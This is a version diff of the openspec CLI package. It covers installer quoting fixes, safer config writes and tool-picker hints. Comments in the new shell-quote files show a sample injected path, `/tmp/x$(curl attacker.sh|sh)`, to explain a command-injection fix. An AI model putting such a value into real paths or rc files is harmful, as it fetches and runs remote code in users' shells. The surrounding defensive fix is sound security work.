@fission-ai/openspec 1.13.0 → 1.13.2

package/dist/core/change-status-policy.js

@@ -20,16 +20,24 @@ export function buildActionContext(input) {
         constraints: ['Repo-local change artifacts and implementation edits are scoped to this project.'],
     };
 }
-export function buildNextSteps(input) {
+export function resolveNextStep(input) {
     const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready');
-    const steps = [];
     const storeFlag = input.storeId ? ` --store ${input.storeId}` : '';
     if (readyArtifact) {
-        steps.push(`Run openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json before writing that artifact.`);
+        const command = `openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json`;
+        return { command, sentence: `Run ${command} before writing that artifact.` };
     }
-    else if (input.allArtifactsComplete) {
-        steps.push(`All planning artifacts are complete. Run openspec instructions apply --change "${input.changeName}"${storeFlag} --json to inspect implementation progress.`);
+    if (input.allArtifactsComplete) {
+        const command = `openspec instructions apply --change "${input.changeName}"${storeFlag} --json`;
+        return {
+            command,
+            sentence: `All planning artifacts are complete. Run ${command} to inspect implementation progress.`,
+        };
     }
-    return steps;
+    return undefined;
+}
+export function buildNextSteps(input) {
+    const step = resolveNextStep(input);
+    return step ? [step.sentence] : [];
 }
 //# sourceMappingURL=change-status-policy.js.map

package/dist/core/command-generation/adapters/continue.js

@@ -16,12 +16,16 @@ export const continueAdapter = {
         return path.join('.continue', 'prompts', `opsx-${commandId}.prompt`);
     },
     formatFile(content) {
+        // Continue injects an invoked prompt into the model context. Smaller local
+        // models can otherwise mistake the workflow name for a tool to call (#925).
         return `---
 name: ${escapeYamlValue(`opsx-${content.id}`)}
 description: ${escapeYamlValue(content.description)}
 invokable: true
 ---
 
+This workflow prompt is already active. Follow its instructions directly. Do not call a tool named after this workflow.
+
 ${content.body}
 `;
     },

package/dist/core/command-generation/adapters/kilocode.d.ts

@@ -7,7 +7,7 @@
 import type { ToolCommandAdapter } from '../types.js';
 /**
  * Kilo Code adapter for command generation.
- * File path: .kilocode/workflows/opsx-<id>.md
+ * File path: .kilo/command/opsx-<id>.md
  * Format: Plain markdown without frontmatter
  */
 export declare const kilocodeAdapter: ToolCommandAdapter;

package/dist/core/command-generation/adapters/kilocode.js

@@ -7,13 +7,13 @@
 import path from 'path';
 /**
  * Kilo Code adapter for command generation.
- * File path: .kilocode/workflows/opsx-<id>.md
+ * File path: .kilo/command/opsx-<id>.md
  * Format: Plain markdown without frontmatter
  */
 export const kilocodeAdapter = {
     toolId: 'kilocode',
     getFilePath(commandId) {
-        return path.join('.kilocode', 'workflows', `opsx-${commandId}.md`);
+        return path.join('.kilo', 'command', `opsx-${commandId}.md`);
     },
     formatFile(content) {
         return `${content.body}

package/dist/core/command-generation/generator.js

@@ -5,6 +5,7 @@
  */
 import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js';
 import { transformCommandInvocations } from '../../utils/command-references.js';
+import { assertWorkflowConditionalsResolved } from '../templates/optional-workflow.js';
 /**
  * Generate a single command file using the provided adapter.
  *
@@ -20,6 +21,7 @@ import { transformCommandInvocations } from '../../utils/command-references.js';
  * @returns Generated command with path and file content
  */
 export function generateCommand(content, adapter) {
+    assertWorkflowConditionalsResolved(content.body, `Command '${content.id}' was generated without resolving its optional-workflow blocks`);
     const invocation = getInvocationForAdapter(adapter);
     const formatted = needsInvocationRewrite(invocation)
         ? { ...content, body: transformCommandInvocations(content.body, invocation) }

package/dist/core/completion-tip.js

@@ -18,8 +18,8 @@
  *   non-TTY runs, which are deferred rather than consumed (see `silent`)
  */
 import * as fs from 'node:fs';
-import * as path from 'node:path';
 import { getGlobalConfigPath } from './global-config.js';
+import { writeFileAtomically } from './file-state.js';
 import { isCiEnvironment } from '../utils/ci.js';
 import { detectShell } from '../utils/shell-detection.js';
 import { CompletionFactory } from './completions/factory.js';
@@ -94,13 +94,13 @@ function readRawConfig() {
  * write down to this one key, and the rename keeps a reader from ever seeing a
  * half-written config.
  */
-function markTipSeen() {
+async function markTipSeen() {
     const configPath = getGlobalConfigPath();
     const current = readRawConfig() ?? {};
-    const tempPath = `${configPath}.${process.pid}.tmp`;
-    fs.mkdirSync(path.dirname(configPath), { recursive: true });
-    fs.writeFileSync(tempPath, JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n', 'utf-8');
-    fs.renameSync(tempPath, configPath);
+    // The shared atomic writer: randomized temp name, owner-only mode, temp file
+    // removed on failure. A predictable `<config>.<pid>.tmp` at the default mode
+    // is both guessable and world-readable once renamed over the config.
+    await writeFileAtomically(configPath, JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n');
 }
 /**
  * Print the completion tip once, the first time the CLI runs.
@@ -121,7 +121,7 @@ export async function maybeShowCompletionTip(options = {}) {
         const decision = await decideTip();
         // Record before printing: if the flag cannot be persisted, staying quiet
         // beats reprinting the tip on every future run.
-        markTipSeen();
+        await markTipSeen();
         if (decision === 'show') {
             console.error(`\n${COMPLETION_TIP_MESSAGE}`);
         }

package/dist/core/completions/installers/bash-installer.js

@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
 import path from 'path';
 import os from 'os';
 import { FileSystemUtils } from '../../../utils/file-system.js';
+import { shellSingleQuote } from './shell-quote.js';
 /**
  * Installer for Bash completion scripts.
  * Supports bash-completion package and standalone installations.
@@ -105,10 +106,11 @@ export class BashInstaller {
      * @returns Configuration content
      */
     generateBashrcConfig(completionsDir) {
+        const quotedDir = shellSingleQuote(completionsDir);
         return [
             '# OpenSpec shell completions configuration',
-            `if [ -d "${completionsDir}" ]; then`,
-            `  for f in "${completionsDir}"/*; do`,
+            `if [ -d ${quotedDir} ]; then`,
+            `  for f in ${quotedDir}/*; do`,
             '    [ -f "$f" ] && . "$f"',
             '  done',
             'fi',
@@ -177,9 +179,11 @@ export class BashInstaller {
             }
             // Remove lines between markers (inclusive)
             lines.splice(startIndex, endIndex - startIndex + 1);
-            // Remove trailing empty lines
-            while (lines.length > 0 && lines[lines.length - 1].trim() === '') {
-                lines.pop();
+            // Install puts the block at the top of the file followed by one blank
+            // separator line; drop that line too so the file reads as it did before.
+            // Everything else, including the file's final newline, is left as is.
+            if (startIndex === 0 && lines.length > 0 && lines[0].trim() === '') {
+                lines.shift();
             }
             // Write back
             await fs.writeFile(bashrcPath, lines.join('\n'), 'utf-8');
@@ -281,14 +285,18 @@ export class BashInstaller {
      */
     generateInstructions(installedPath) {
         const completionsDir = path.dirname(installedPath);
+        // Quoted exactly like the auto-configured block: these lines are printed
+        // for the user to paste into their own rc file, so an expansion left in
+        // them runs on every future shell start.
+        const quotedDir = shellSingleQuote(completionsDir);
         return [
             'Completion script installed successfully.',
             '',
             'To enable completions, add the following to your ~/.bashrc file:',
             '',
             `  # Source OpenSpec completions`,
-            `  if [ -d "${completionsDir}" ]; then`,
-            `    for f in "${completionsDir}"/*; do`,
+            `  if [ -d ${quotedDir} ]; then`,
+            `    for f in ${quotedDir}/*; do`,
             '      [ -f "$f" ] && . "$f"',
             '    done',
             '  fi',

package/dist/core/completions/installers/shell-quote.d.ts

@@ -0,0 +1,11 @@
+/**
+ * Quote a path as a POSIX shell single-quoted literal.
+ *
+ * Completion directories are derived from XDG_DATA_HOME / HOME, which are never
+ * escaped. Interpolated into a double-quoted rc line, a value like
+ * `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
+ * suppress every expansion, and the `'\''` dance closes, escapes, and reopens
+ * the quote around any literal apostrophe.
+ */
+export declare function shellSingleQuote(value: string): string;
+//# sourceMappingURL=shell-quote.d.ts.map

package/dist/core/completions/installers/shell-quote.js

@@ -0,0 +1,13 @@
+/**
+ * Quote a path as a POSIX shell single-quoted literal.
+ *
+ * Completion directories are derived from XDG_DATA_HOME / HOME, which are never
+ * escaped. Interpolated into a double-quoted rc line, a value like
+ * `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
+ * suppress every expansion, and the `'\''` dance closes, escapes, and reopens
+ * the quote around any literal apostrophe.
+ */
+export function shellSingleQuote(value) {
+    return `'${value.replace(/'/g, `'\\''`)}'`;
+}
+//# sourceMappingURL=shell-quote.js.map

package/dist/core/completions/installers/zsh-installer.js

@@ -2,6 +2,7 @@ import { promises as fs } from 'fs';
 import path from 'path';
 import os from 'os';
 import { FileSystemUtils } from '../../../utils/file-system.js';
+import { shellSingleQuote } from './shell-quote.js';
 /**
  * Installer for Zsh completion scripts.
  * Supports both Oh My Zsh and standard Zsh configurations.
@@ -109,7 +110,7 @@ export class ZshInstaller {
     generateZshrcConfig(completionsDir) {
         return [
             '# OpenSpec shell completions configuration',
-            `fpath=("${completionsDir}" $fpath)`,
+            `fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
             'autoload -Uz compinit',
             'compinit',
         ].join('\n');
@@ -340,7 +341,7 @@ export class ZshInstaller {
                 'To enable completions, add the following to your ~/.zshrc file:',
                 '',
                 `  # Add completions directory to fpath`,
-                `  fpath=(${completionsDir} $fpath)`,
+                `  fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
                 '',
                 '  # Initialize completion system',
                 '  autoload -Uz compinit',

package/dist/core/config-schema.d.ts

@@ -6,8 +6,8 @@ import { z } from 'zod';
 export declare const GlobalConfigSchema: z.ZodObject<{
     featureFlags: z.ZodDefault<z.ZodOptional<z.ZodRecord<z.ZodString, z.ZodBoolean>>>;
     profile: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
-        core: "core";
         custom: "custom";
+        core: "core";
     }>>>;
     delivery: z.ZodDefault<z.ZodOptional<z.ZodEnum<{
         commands: "commands";

package/dist/core/config.d.ts

@@ -16,10 +16,26 @@ export interface AIToolOption {
     legacySkillsDirs?: string[];
     globalSkillsDir?: string;
     detectionPaths?: string[];
+    searchAliases?: string[];
     setupNote?: string;
     requiresIdeRestart?: boolean;
 }
 export declare const AI_TOOLS: AIToolOption[];
+/**
+ * The vendor-neutral target every assistant that is not listed above can use.
+ * Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
+ * a dead end (#653).
+ */
+export declare const UNIVERSAL_TOOL_ID = "agents";
+/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
+export declare function getUniversalTool(): AIToolOption | undefined;
+/**
+ * One-line pointer at the universal target for non-interactive errors, the
+ * scripted counterpart of the picker's empty-search hint. Undefined when the
+ * target is not among the tools on offer, so the hint never names a choice the
+ * caller cannot make.
+ */
+export declare function universalToolFallbackHint(offeredToolIds: string[]): string | undefined;
 /**
  * Retired tool ids that still resolve, so a rebrand does not break scripted
  * `--tools` invocations. Windsurf was rebranded to Devin Desktop on

package/dist/core/config.js

@@ -68,8 +68,34 @@ export const AI_TOOLS = [
     // A project that does keep skills there is a project this target fits, the same
     // way `.claude/` selects Claude Code — the signal is the user's setup, not
     // OpenSpec's own files.
-    { name: 'Shared .agents skills', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'] }
+    // The picker is searchable, so this entry also answers to the words someone
+    // whose assistant is not on the list actually types (#653) — it is named for
+    // a directory, which none of them would guess. Aliases are single words: the
+    // space bar toggles a selection rather than typing into the search box.
+    { name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
 ];
+/**
+ * The vendor-neutral target every assistant that is not listed above can use.
+ * Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
+ * a dead end (#653).
+ */
+export const UNIVERSAL_TOOL_ID = 'agents';
+/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
+export function getUniversalTool() {
+    return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
+}
+/**
+ * One-line pointer at the universal target for non-interactive errors, the
+ * scripted counterpart of the picker's empty-search hint. Undefined when the
+ * target is not among the tools on offer, so the hint never names a choice the
+ * caller cannot make.
+ */
+export function universalToolFallbackHint(offeredToolIds) {
+    const universal = getUniversalTool();
+    if (!universal || !offeredToolIds.includes(universal.value))
+        return undefined;
+    return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
+}
 /**
  * Retired tool ids that still resolve, so a rebrand does not break scripted
  * `--tools` invocations. Windsurf was rebranded to Devin Desktop on

package/dist/core/global-config.d.ts

@@ -61,9 +61,37 @@ export declare function getGlobalConfigPath(): string;
  * Merges loaded config with defaults to ensure new fields are available.
  */
 export declare function getGlobalConfig(): GlobalConfig;
+/**
+ * Whether a parsed JSON root can serve as a global config object.
+ *
+ * Valid JSON that is not a plain object (`null`, an array, a string, a number,
+ * a boolean) still reads as defaults, so it is just as unsafe to save over as
+ * a file that did not parse at all. Every reader and writer of the global
+ * config shares this one predicate so they cannot drift apart.
+ */
+export declare function isConfigRootObject(parsed: unknown): boolean;
+/**
+ * The one-line, actionable refusal every global-config writer reports when it
+ * declines to overwrite a file it could not read.
+ */
+export declare function unreadableGlobalConfigMessage(configPath: string): string;
+/**
+ * Whether the global config file exists but cannot be read or parsed.
+ *
+ * getGlobalConfig() answers with defaults for such a file so that reads keep
+ * working, but those defaults are not the user's settings: saving them back
+ * would erase everything the file holds, and the file may contain an opt-out
+ * such as `telemetry.enabled: false` that the defaults do not.
+ */
+export declare function isGlobalConfigUnreadable(): boolean;
+export interface SaveGlobalConfigOptions {
+    /** Overwrite a config file that cannot be parsed. Only a reset should. */
+    replaceUnreadable?: boolean;
+}
 /**
  * Saves the global configuration to disk.
- * Creates the config directory if it doesn't exist.
+ * Creates the config directory if it doesn't exist. Refuses to overwrite an
+ * existing file it cannot parse unless `replaceUnreadable` is set.
  */
-export declare function saveGlobalConfig(config: GlobalConfig): void;
+export declare function saveGlobalConfig(config: GlobalConfig, options?: SaveGlobalConfigOptions): void;
 //# sourceMappingURL=global-config.d.ts.map

package/dist/core/global-config.js

@@ -68,6 +68,9 @@ export function getGlobalDataDir(options = {}) {
 export function getGlobalConfigPath() {
     return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
 }
+// Config paths already warned about. One command reads the config several
+// times (telemetry, the update check, the command itself); warn once.
+const warnedInvalidJsonPaths = new Set();
 /**
  * Loads the global configuration from disk.
  * Returns default configuration if file doesn't exist or is invalid.
@@ -81,6 +84,13 @@ export function getGlobalConfig() {
         }
         const content = fs.readFileSync(configPath, 'utf-8');
         const parsed = JSON.parse(content);
+        // A root that is not a plain object carries no settings, and spreading it
+        // would leak its shape into the result: a string contributes numeric
+        // character keys. Answer with plain defaults, as for a file that did not
+        // parse at all. Same predicate the writers refuse to save over.
+        if (!isConfigRootObject(parsed)) {
+            return { ...DEFAULT_CONFIG };
+        }
         // Merge with defaults (loaded values take precedence)
         const merged = {
             ...DEFAULT_CONFIG,
@@ -102,19 +112,63 @@ export function getGlobalConfig() {
     }
     catch (error) {
         // Log warning for parse errors, but not for missing files
-        if (error instanceof SyntaxError) {
+        if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
+            warnedInvalidJsonPaths.add(configPath);
             console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
         }
         return { ...DEFAULT_CONFIG };
     }
 }
+/**
+ * Whether a parsed JSON root can serve as a global config object.
+ *
+ * Valid JSON that is not a plain object (`null`, an array, a string, a number,
+ * a boolean) still reads as defaults, so it is just as unsafe to save over as
+ * a file that did not parse at all. Every reader and writer of the global
+ * config shares this one predicate so they cannot drift apart.
+ */
+export function isConfigRootObject(parsed) {
+    return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
+}
+/**
+ * The one-line, actionable refusal every global-config writer reports when it
+ * declines to overwrite a file it could not read.
+ */
+export function unreadableGlobalConfigMessage(configPath) {
+    return (`Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
+        'Fix it with "openspec config edit", or reset it with "openspec config reset --all".');
+}
+/**
+ * Whether the global config file exists but cannot be read or parsed.
+ *
+ * getGlobalConfig() answers with defaults for such a file so that reads keep
+ * working, but those defaults are not the user's settings: saving them back
+ * would erase everything the file holds, and the file may contain an opt-out
+ * such as `telemetry.enabled: false` that the defaults do not.
+ */
+export function isGlobalConfigUnreadable() {
+    const configPath = getGlobalConfigPath();
+    if (!fs.existsSync(configPath)) {
+        return false;
+    }
+    try {
+        return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
+    }
+    catch {
+        return true;
+    }
+}
 /**
  * Saves the global configuration to disk.
- * Creates the config directory if it doesn't exist.
+ * Creates the config directory if it doesn't exist. Refuses to overwrite an
+ * existing file it cannot parse unless `replaceUnreadable` is set.
  */
-export function saveGlobalConfig(config) {
+export function saveGlobalConfig(config, options = {}) {
     const configDir = getGlobalConfigDir();
     const configPath = getGlobalConfigPath();
+    if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
+        throw new Error(unreadableGlobalConfigMessage(configPath));
+    }
     // Create directory if it doesn't exist
     if (!fs.existsSync(configDir)) {
         fs.mkdirSync(configDir, { recursive: true });

package/dist/core/init.js

@@ -14,7 +14,7 @@ import { classifyOpenSpecDir, MAX_CONTEXT_SIZE, readProjectConfig, storePointerP
 import { findRepoPlanningRootSync } from './planning-home.js';
 import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.js';
 import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
-import { AI_TOOLS, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
+import { AI_TOOLS, getUniversalTool, universalToolFallbackHint, OPENSPEC_DIR_NAME, resolveToolIdAlias, } from './config.js';
 import { PALETTE } from './styles/palette.js';
 import { isInteractive } from '../utils/interactive.js';
 import { serializeConfig } from './config-prompts.js';
@@ -423,7 +423,8 @@ export class InitCommand {
             if (detectedToolIds.size > 0) {
                 return [...detectedToolIds];
             }
-            throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...`);
+            const fallbackHint = universalToolFallbackHint(validTools);
+            throw new Error(`No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`);
         }
         if (validTools.length === 0) {
             throw new Error(`No tools available for skill generation.`);
@@ -440,6 +441,7 @@ export class InitCommand {
             return {
                 name: tool?.name || toolId,
                 value: toolId,
+                searchAliases: tool?.searchAliases,
                 configured,
                 detected: detected && !configured,
                 preSelected: configured || (shouldPreselectDetected && detected && !configured),
@@ -472,10 +474,17 @@ export class InitCommand {
                 : 'not pre-selected';
             console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
         }
+        // A search that matches nothing is where someone whose assistant is not on
+        // the list gives up (#653), so name the vendor-neutral entry right there.
+        const universalTool = getUniversalTool();
+        const universalHint = universalTool && validTools.includes(universalTool.value)
+            ? `Tool not listed? Clear the search and pick "${universalTool.name}".`
+            : undefined;
         const selectedTools = await searchableMultiSelect({
             message: `Select tools to set up (${validTools.length} available)`,
             pageSize: 15,
             choices: sortedChoices,
+            emptyHint: universalHint,
             validate: (selected) => selected.length > 0 || 'Select at least one tool',
         });
         if (selectedTools.length === 0) {
@@ -516,7 +525,8 @@ export class InitCommand {
         }
         const invalidTokens = tokens.filter((_token, index) => !availableSet.has(normalizedTokens[index]));
         if (invalidTokens.length > 0) {
-            throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}`);
+            const fallbackHint = universalToolFallbackHint([...availableSet]);
+            throw new Error(`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`);
         }
         // Deduplicate while preserving order
         const deduped = [];
@@ -982,9 +992,15 @@ export class InitCommand {
                     // Tools with no slash surface (e.g. Rovo Dev) reference skills as
                     // prose ("the openspec-propose skill"); phrase the hint so it reads
                     // as an instruction rather than a dead command with an argument.
-                    hint = usesNaturalLanguageSkillReferences(tool.value)
-                        ? `Start your first change: ask ${tool.name} to use ${skillReference} with "your idea"`
-                        : `Start your first change: ${skillReference} "your idea"`;
+                    if (usesNaturalLanguageSkillReferences(tool.value)) {
+                        hint = `Start your first change: ask ${tool.name} to use ${skillReference} with "your idea"`;
+                    }
+                    else if (tool.value === 'codex') {
+                        hint = `Start your first change: ${skillReference} "your idea" (Codex CLI or IDE); in the Codex desktop app, select ${skillReference.slice(1)} from Skills in the sidebar`;
+                    }
+                    else {
+                        hint = `Start your first change: ${skillReference} "your idea"`;
+                    }
                 }
                 else {
                     continue;

package/dist/core/legacy-cleanup.d.ts

@@ -2,7 +2,7 @@
  * Legacy cleanup module for detecting and removing OpenSpec artifacts
  * from previous init versions during the migration to the skill-based workflow.
  */
-import type { WorkflowId } from './profiles.js';
+import { type WorkflowId } from './profiles.js';
 /**
  * Legacy config file names from the old ToolRegistry.
  * These were config files created at project root with OpenSpec markers.
@@ -25,6 +25,8 @@ export declare const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlo
 export interface LegacySlashCommandPattern {
     type: 'directory' | 'files';
     path?: string;
+    /** For directory type: the only files in `path` that OpenSpec wrote. */
+    managedFileNames?: readonly string[];
     pattern?: string | string[];
 }
 /**
@@ -149,6 +151,8 @@ export interface CleanupResult {
     modifiedFiles: string[];
     /** Directories that were deleted */
     deletedDirs: string[];
+    /** Entries left in a legacy command directory because OpenSpec did not write them */
+    keptFiles?: string[];
     /** Whether project.md exists and needs manual migration */
     projectMdNeedsMigration: boolean;
     /** Error messages if any operations failed */